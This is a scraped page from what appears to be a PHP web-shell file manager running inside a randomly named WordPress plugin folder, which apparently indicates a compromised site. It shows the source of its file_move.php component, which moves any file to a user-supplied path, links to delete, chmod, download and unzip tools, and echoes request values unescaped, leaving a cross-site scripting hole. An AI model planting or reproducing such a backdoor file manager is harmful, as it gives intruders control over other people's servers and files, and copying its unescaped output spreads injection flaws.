Edit File by line
/home/barbar84/public_h.../wp-conte.../plugins/sujqvwi/AnonR/anonr.TX.../proc/self/cwd
File: file_move.php
<?php
[0] Fix | Delete
[1] Fix | Delete
define('ACCESS', true);
[2] Fix | Delete
[3] Fix | Delete
include_once 'function.php';
[4] Fix | Delete
[5] Fix | Delete
[6] Fix | Delete
$title = 'Move File';
[7] Fix | Delete
[8] Fix | Delete
include_once 'header.php';
[9] Fix | Delete
[10] Fix | Delete
echo '<div class="title">' . $title . '</div>';
[11] Fix | Delete
[12] Fix | Delete
if ($dir == null || $name == null || !is_file(processDirectory($dir . '/' . $name))) {
[13] Fix | Delete
echo '<div class="list"><span>The path does not exist</span></div>
[14] Fix | Delete
<div class="title">Function</div>
[15] Fix | Delete
<ul class="list">
[16] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php' . $pages['paramater_0'] . '">List</a></li>
[17] Fix | Delete
</ul>';
[18] Fix | Delete
} else {
[19] Fix | Delete
$dir = processDirectory($dir);
[20] Fix | Delete
$format = getFormat($name);
[21] Fix | Delete
[22] Fix | Delete
if (isset($_POST['submit'])) {
[23] Fix | Delete
echo '<div class="notice_failure">';
[24] Fix | Delete
[25] Fix | Delete
if (empty($_POST['path'])) {
[26] Fix | Delete
echo 'Not fully entered information';
[27] Fix | Delete
} else if ($dir == processDirectory($_POST['path'])) {
[28] Fix | Delete
echo 'The new path must be different from the current path';
[29] Fix | Delete
} else if (isPathNotPermission(processDirectory($_POST['path']))) {
[30] Fix | Delete
echo 'You cannot Move File to Path of File Manager';
[31] Fix | Delete
} else if (!@copy($dir . '/' . $name, processDirectory($_POST['path']) . '/' . $name)) {
[32] Fix | Delete
echo 'Move File failure';
[33] Fix | Delete
} else {
[34] Fix | Delete
@unlink($dir . '/' . $name);
[35] Fix | Delete
goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
[36] Fix | Delete
}
[37] Fix | Delete
[38] Fix | Delete
echo '</div>';
[39] Fix | Delete
}
[40] Fix | Delete
[41] Fix | Delete
echo '<div class="list">
[42] Fix | Delete
<span class="bull">&bull; </span><span>' . printPath($dir . '/' . $name) . '</span><hr/>
[43] Fix | Delete
<form action="file_Copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
[44] Fix | Delete
<span class="bull">&bull; </span>New file path:<br/>
[45] Fix | Delete
<input type="text" name="path" value="' . (isset($_POST['path']) ? $_POST['path'] : $dir) . '" size="18"/><br/>
[46] Fix | Delete
<input type="submit" name="submit" value="Move"/>
[47] Fix | Delete
</form>
[48] Fix | Delete
</div>
[49] Fix | Delete
<div class="title">Function</div>
[50] Fix | Delete
<ul class="list">
[51] Fix | Delete
<li><img src="icon/info.png"/> <a href="file.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Information</a></li>';
[52] Fix | Delete
[53] Fix | Delete
if (isFormatText($name)) {
[54] Fix | Delete
echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Edit text</a></li>';
[55] Fix | Delete
echo '<li><img src="icon/edit_text_line.png"/> <a href="edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Edit by line</a></li>';
[56] Fix | Delete
} else if (in_array($format, $formats['zip'])) {
[57] Fix | Delete
echo '<li><img src="icon/unzip.png"/> <a href="file_viewzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">See</a></li>';
[58] Fix | Delete
echo '<li><img src="icon/unzip.png"/> <a href="file_unzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Solve Compressed source</a></li>';
[59] Fix | Delete
} else if (isFormatUnknown($name)) {
[60] Fix | Delete
echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Edit text format</a></li>';
[61] Fix | Delete
}
[62] Fix | Delete
[63] Fix | Delete
echo '<li><img src="icon/download.png"/> <a href="file_download.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Download</a></li>
[64] Fix | Delete
<li><img src="icon/rename.png"/> <a href="file_rename.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Rename</a></li>
[65] Fix | Delete
<li><img src="icon/copy.png"/> <a href="file_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Copy</a></li>
[66] Fix | Delete
<li><img src="icon/delete.png"/> <a href="file_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Delete</a></li>
[67] Fix | Delete
<li><img src="icon/access.png"/> <a href="file_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Chmod</a></li>
[68] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[69] Fix | Delete
</ul>';
[70] Fix | Delete
}
[71] Fix | Delete
[72] Fix | Delete
include_once 'footer.php';
[73] Fix | Delete
[74] Fix | Delete
[75] Fix | Delete
?>
[76] Fix | Delete
It is recommended that you Edit text format, this type of Fix handles quite a lot in one request
Function